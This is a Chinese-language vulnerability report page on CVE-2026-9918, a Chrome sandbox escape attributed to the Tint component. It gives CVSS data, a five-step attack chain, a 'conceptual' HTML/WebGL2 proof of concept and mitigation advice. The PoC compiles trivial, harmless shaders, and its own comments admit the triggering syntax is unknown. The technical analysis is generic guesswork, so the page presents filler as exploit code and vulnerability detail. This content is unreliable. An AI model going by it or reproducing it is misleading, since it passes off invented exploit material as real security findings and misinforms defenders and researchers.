IPBUF安全漏洞报告
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CVE-2026-9918 CVSS 9.6 严重

CVE-2026-9918 Google Chrome沙箱逃逸漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9918
漏洞类型
沙箱逃逸
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

沙箱逃逸远程代码执行Google ChromeTint浏览器漏洞高危

漏洞概述

该漏洞存在于Google Chrome浏览器148.0.7778.216之前版本的Tint组件中。由于Tint组件的实现存在不当之处,远程攻击者可以通过诱导用户访问特制的HTML页面来利用此漏洞。成功利用后,攻击者可能绕过浏览器的沙箱安全机制,执行沙箱逃逸攻击。鉴于其CVSS评分高达9.6,该漏洞对用户的数据机密性、完整性和可用性构成极高威胁。

技术细节

该漏洞源于Google Chrome中Tint组件的安全机制实现不当。Tint通常负责处理图形渲染或着色器相关的任务,攻击者发现通过构造恶意的HTML页面,可以触发该组件中的逻辑错误或内存破坏问题。由于CVSS向量显示UI:R(需要用户交互),攻击过程通常需要诱骗用户点击链接或访问恶意网页。一旦触发,漏洞允许攻击者突破Chrome的多层沙箱防御模型。沙箱逃逸通常与渲染引擎漏洞(如UAF或类型混淆)结合使用,将原本受限的渲染进程权限提升至系统级权限,从而在受害者主机上执行任意代码。

攻击链分析

STEP 1
侦察与准备
攻击者分析Google Chrome的Tint组件源码,发现实现不当的漏洞点,并编写包含恶意HTML页面和WebGL Shader的攻击代码。
STEP 2
投递
攻击者通过钓鱼邮件、恶意网站或 compromised 网站将包含恶意代码的URL发送给目标用户。
STEP 3
利用执行
目标用户使用存在漏洞的Chrome版本访问链接。浏览器解析HTML并执行恶意脚本,触发Tint组件中的漏洞。
STEP 4
沙箱逃逸
漏洞利用代码成功破坏沙箱隔离机制,将代码执行权限从受限制的渲染进程提升至系统级权限。
STEP 5
达成目标
攻击者在目标系统上获得完整的控制权,可以窃取敏感数据、安装后门或破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9918 (Conceptual) This HTML page attempts to trigger the Tint implementation issue. Open in a vulnerable Chrome version (< 148.0.7778.216). --> <html> <head> <title>CVE-2026-9918 PoC</title> </head> <body> <script> function triggerVulnerability() { console.log("Attempting to trigger Tint component bug..."); try { // Setup canvas context that interacts with Tint const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl2'); if (!gl) { console.log("WebGL2 not supported."); return; } // Crafted shader data to exploit the implementation issue // Specific shader syntax would depend on the exact bug in Tint const vertexShaderSource = ` // Malicious shader syntax targeting Tint parser #version 300 es void main() { gl_Position = vec4(0.0, 0.0, 0.0, 1.0); } `; const fragmentShaderSource = ` // Fragment shader designed to trigger memory corruption #version 300 es precision mediump float; out vec4 color; void main() { color = vec4(1.0, 0.0, 0.0, 1.0); } `; const vs = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vs, vertexShaderSource); gl.compileShader(vs); const fs = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fs, fragmentShaderSource); gl.compileShader(fs); const program = gl.createProgram(); gl.attachShader(program, vs); gl.attachShader(program, fs); gl.linkProgram(program); gl.useProgram(program); // Trigger draw call to execute the vulnerable path gl.drawArrays(gl.TRIANGLES, 0, 3); console.log("Shader executed. Check for renderer crash or escape."); } catch (e) { console.error("Exception caught: " + e.message); } } window.onload = triggerVulnerability; </script> <h1>CVE-2026-9918 Proof of Concept</h1> <p>If the browser is vulnerable, the renderer may crash or escape the sandbox.</p> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户尽快检查并安装Chrome浏览器的最新安全更新。在未完成补丁更新前,应避免访问不可信的网站或点击来源不明的链接。企业用户可暂时限制浏览器的JavaScript执行权限或使用网页隔离技术作为临时防护手段。

参考链接

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